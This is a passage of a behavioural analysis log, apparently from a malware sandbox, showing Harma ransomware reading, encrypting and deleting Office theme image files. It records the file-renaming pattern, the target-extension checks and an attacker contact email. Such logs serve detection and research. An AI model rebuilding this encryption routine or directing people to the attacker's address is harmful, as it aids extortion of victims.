lpFileSize=0x238ff1c*=18817) returned 1 [0059.333] CloseHandle (hObject=0x180) returned 1 [0059.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0059.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.359] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.362] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0059.362] GetLastError () returned 0x0 [0059.362] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x4981, lpOverlapped=0x0) returned 1 [0059.364] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0059.365] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.366] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.366] SetEndOfFile (hFile=0x1a0) returned 1 [0059.366] CloseHandle (hObject=0x1a0) returned 1 [0059.366] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.366] SetEndOfFile (hFile=0x180) returned 1 [0059.367] CloseHandle (hObject=0x180) returned 1 [0059.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0059.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.367] lstrlenW (lpString=".doc") returned 4 [0059.367] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.368] lstrlenW (lpString=".docx") returned 5 [0059.368] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.368] lstrlenW (lpString=".pdf") returned 4 [0059.368] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.368] lstrlenW (lpString=".xls") returned 4 [0059.368] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.368] lstrlenW (lpString=".xlsx") returned 5 [0059.368] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.368] lstrlenW (lpString=".ppt") returned 4 [0059.368] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.368] lstrlenW (lpString=".zip") returned 4 [0059.368] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.368] lstrlenW (lpString=".rar") returned 4 [0059.368] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.368] lstrlenW (lpString=".bz2") returned 4 [0059.368] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.368] lstrlenW (lpString=".7z") returned 3 [0059.368] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.368] lstrlenW (lpString=".dbf") returned 4 [0059.368] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.368] lstrlenW (lpString=".1cd") returned 4 [0059.368] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.368] lstrlenW (lpString=".jpg") returned 4 [0059.368] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.369] lstrlenW (lpString=".doc") returned 4 [0059.369] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.369] lstrlenW (lpString=".docx") returned 5 [0059.369] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.369] lstrlenW (lpString=".pdf") returned 4 [0059.369] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.370] lstrlenW (lpString=".xls") returned 4 [0059.370] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.370] lstrlenW (lpString=".xlsx") returned 5 [0059.370] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.370] lstrlenW (lpString=".ppt") returned 4 [0059.370] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.370] lstrlenW (lpString=".zip") returned 4 [0059.370] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.370] lstrlenW (lpString=".rar") returned 4 [0059.370] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.370] lstrlenW (lpString=".bz2") returned 4 [0059.370] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.370] lstrlenW (lpString=".7z") returned 3 [0059.370] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.370] lstrlenW (lpString=".dbf") returned 4 [0059.370] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.370] lstrlenW (lpString=".1cd") returned 4 [0059.370] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0059.370] lstrlenW (lpString=".jpg") returned 4 [0059.370] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.371] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.371] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.371] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1232) returned 1 [0059.371] CloseHandle (hObject=0x180) returned 1 [0059.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0059.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.372] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.372] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.733] GetLastError () returned 0x0 [0059.733] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0059.735] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0059.736] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.736] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.737] SetEndOfFile (hFile=0x170) returned 1 [0059.737] CloseHandle (hObject=0x170) returned 1 [0059.737] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.737] SetEndOfFile (hFile=0x180) returned 1 [0059.738] CloseHandle (hObject=0x180) returned 1 [0059.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.738] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0059.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.739] lstrlenW (lpString=".doc") returned 4 [0059.739] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.739] lstrlenW (lpString=".docx") returned 5 [0059.739] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.739] lstrlenW (lpString=".pdf") returned 4 [0059.739] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.739] lstrlenW (lpString=".xls") returned 4 [0059.739] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.739] lstrlenW (lpString=".xlsx") returned 5 [0059.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.739] lstrlenW (lpString=".ppt") returned 4 [0059.739] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.739] lstrlenW (lpString=".zip") returned 4 [0059.739] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.739] lstrlenW (lpString=".rar") returned 4 [0059.739] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.739] lstrlenW (lpString=".bz2") returned 4 [0059.739] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.739] lstrlenW (lpString=".7z") returned 3 [0059.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.740] lstrlenW (lpString=".dbf") returned 4 [0059.740] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.740] lstrlenW (lpString=".1cd") returned 4 [0059.740] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.740] lstrlenW (lpString=".jpg") returned 4 [0059.740] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.740] lstrlenW (lpString=".doc") returned 4 [0059.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.740] lstrlenW (lpString=".docx") returned 5 [0059.740] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.740] lstrlenW (lpString=".pdf") returned 4 [0059.740] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.740] lstrlenW (lpString=".xls") returned 4 [0059.740] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.740] lstrlenW (lpString=".xlsx") returned 5 [0059.740] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.740] lstrlenW (lpString=".ppt") returned 4 [0059.740] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.740] lstrlenW (lpString=".zip") returned 4 [0059.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.741] lstrlenW (lpString=".rar") returned 4 [0059.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.741] lstrlenW (lpString=".bz2") returned 4 [0059.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.741] lstrlenW (lpString=".7z") returned 3 [0059.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.741] lstrlenW (lpString=".dbf") returned 4 [0059.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.741] lstrlenW (lpString=".1cd") returned 4 [0059.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0059.741] lstrlenW (lpString=".jpg") returned 4 [0059.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.741] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.741] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.742] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1379) returned 1 [0059.742] CloseHandle (hObject=0x180) returned 1 [0059.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0059.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.742] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.742] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.745] GetLastError () returned 0x0 [0059.745] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x563, lpOverlapped=0x0) returned 1 [0059.747] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x570, lpOverlapped=0x0) returned 1 [0059.748] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.748] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.748] SetEndOfFile (hFile=0x170) returned 1 [0059.748] CloseHandle (hObject=0x170) returned 1 [0059.748] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.748] SetEndOfFile (hFile=0x180) returned 1 [0059.749] CloseHandle (hObject=0x180) returned 1 [0059.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.750] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0059.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.750] lstrlenW (lpString=".doc") returned 4 [0059.750] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.750] lstrlenW (lpString=".docx") returned 5 [0059.750] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.750] lstrlenW (lpString=".pdf") returned 4 [0059.750] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.750] lstrlenW (lpString=".xls") returned 4 [0059.750] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.750] lstrlenW (lpString=".xlsx") returned 5 [0059.750] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.750] lstrlenW (lpString=".ppt") returned 4 [0059.750] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.750] lstrlenW (lpString=".zip") returned 4 [0059.750] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.751] lstrlenW (lpString=".rar") returned 4 [0059.751] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.751] lstrlenW (lpString=".bz2") returned 4 [0059.751] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.751] lstrlenW (lpString=".7z") returned 3 [0059.751] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.751] lstrlenW (lpString=".dbf") returned 4 [0059.751] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.751] lstrlenW (lpString=".1cd") returned 4 [0059.751] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.751] lstrlenW (lpString=".jpg") returned 4 [0059.751] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.751] lstrlenW (lpString=".doc") returned 4 [0059.751] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.751] lstrlenW (lpString=".docx") returned 5 [0059.751] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.751] lstrlenW (lpString=".pdf") returned 4 [0059.751] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.751] lstrlenW (lpString=".xls") returned 4 [0059.751] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.751] lstrlenW (lpString=".xlsx") returned 5 [0059.751] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.751] lstrlenW (lpString=".ppt") returned 4 [0059.752] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.752] lstrlenW (lpString=".zip") returned 4 [0059.752] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.752] lstrlenW (lpString=".rar") returned 4 [0059.752] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.752] lstrlenW (lpString=".bz2") returned 4 [0059.752] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.752] lstrlenW (lpString=".7z") returned 3 [0059.752] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.752] lstrlenW (lpString=".dbf") returned 4 [0059.752] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.752] lstrlenW (lpString=".1cd") returned 4 [0059.752] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0059.752] lstrlenW (lpString=".jpg") returned 4 [0059.752] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.752] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.752] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.753] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=48115) returned 1 [0059.753] CloseHandle (hObject=0x180) returned 1 [0059.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" 